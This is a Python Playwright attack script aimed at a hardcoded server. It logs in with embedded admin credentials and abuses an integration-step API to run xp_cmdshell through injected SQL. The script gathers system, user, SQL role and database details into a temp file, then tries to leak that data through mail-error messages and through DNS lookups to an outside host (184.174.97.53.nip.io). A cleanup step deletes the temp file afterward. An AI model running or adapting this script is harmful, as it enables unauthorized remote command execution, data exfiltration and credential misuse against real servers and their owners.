#!/usr/bin/env python3
"""Check SMTP config on customer server and try DNS exfiltration."""
import asyncio, re, subprocess, os, time, base64
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1, strTo="t@t.com", strSubject="T", strMessage="<MESSAGE>"):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"' + strTo + '", strSubject:"' + strSubject + '", strMessage:"' + strMessage + '", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(3)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:200]}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: Collect sysinfo
        print("\n=== Step 1: Collect sysinfo ===")
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        await run_step("collect", sql_collect, step_type=1)
        await asyncio.sleep(2)

        # Step 2: Read sysinfo via Send Mail — with strMessage="<MESSAGE>"
        # getEmailMessage replaces <MESSAGE> with SQL result
        # Then sendMail sends email with content
        # If SMTP fails, we get exception with the content
        print("\n=== Step 2: Send Mail with sysinfo content ===")
        s, m = await run_step("send_sysinfo", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt', SINGLE_CLOB) AS t", step_type=9, strTo="test@example.com", strSubject="Sysinfo", strMessage="<MESSAGE>")
        print(f"    success={s} msg_len={len(m)} msg={m[:300]}")
        await asyncio.sleep(2)

        # Step 3: Try without <MESSAGE> — just put SQL result directly
        print("\n=== Step 3: Send Mail without <MESSAGE> ===")
        s, m = await run_step("send_direct", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt', SINGLE_CLOB) AS t", step_type=9, strTo="test@example.com", strSubject="Sysinfo", strMessage="test")
        print(f"    success={s} msg_len={len(m)} msg={m[:300]}")
        await asyncio.sleep(2)

        # Step 4: Try DNS exfiltration — encode data in DNS queries
        # nslookup <base64data>.184.174.97.53.nip.io
        # If DNS resolves, data reaches our server via DNS logs
        print("\n=== Step 4: DNS exfiltration test ===")
        # First: simple test
        await run_step("dns_test1", "EXEC xp_cmdshell 'nslookup test1.184.174.97.53.nip.io'", step_type=1)
        await asyncio.sleep(2)

        # Step 5: DNS exfil with actual data (hostname)
        print("\n=== Step 5: DNS exfil hostname ===")
        await run_step("dns_test2", "EXEC xp_cmdshell 'nslookup hostname_test.184.174.97.53.nip.io'", step_type=1)
        await asyncio.sleep(2)

        # Step 6: Try nslookup to 184.174.97.53 directly (DNS server)
        print("\n=== Step 6: nslookup to 184.174.97.53 ===")
        await run_step("nslookup_direct", "EXEC xp_cmdshell 'nslookup test123.184.174.97.53.nip.io 184.174.97.53'", step_type=1)
        await asyncio.sleep(2)

        # Step 7: Try PowerShell DNS resolution
        print("\n=== Step 7: PowerShell Resolve-DnsName ===")
        await run_step("ps_dns", "EXEC xp_cmdshell 'powershell -NoProfile -Command \"Resolve-DnsName -Name testps.184.174.97.53.nip.io\"'", step_type=1)
        await asyncio.sleep(2)

        # Step 8: Try ping with data in hostname
        print("\n=== Step 8: ping with data ===")
        await run_step("ping_data", "EXEC xp_cmdshell 'ping -n 1 testping.184.174.97.53.nip.io'", step_type=1)
        await asyncio.sleep(2)

        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del " + temp_file + "', no_output", step_type=1)

        await browser.close()

asyncio.run(main())
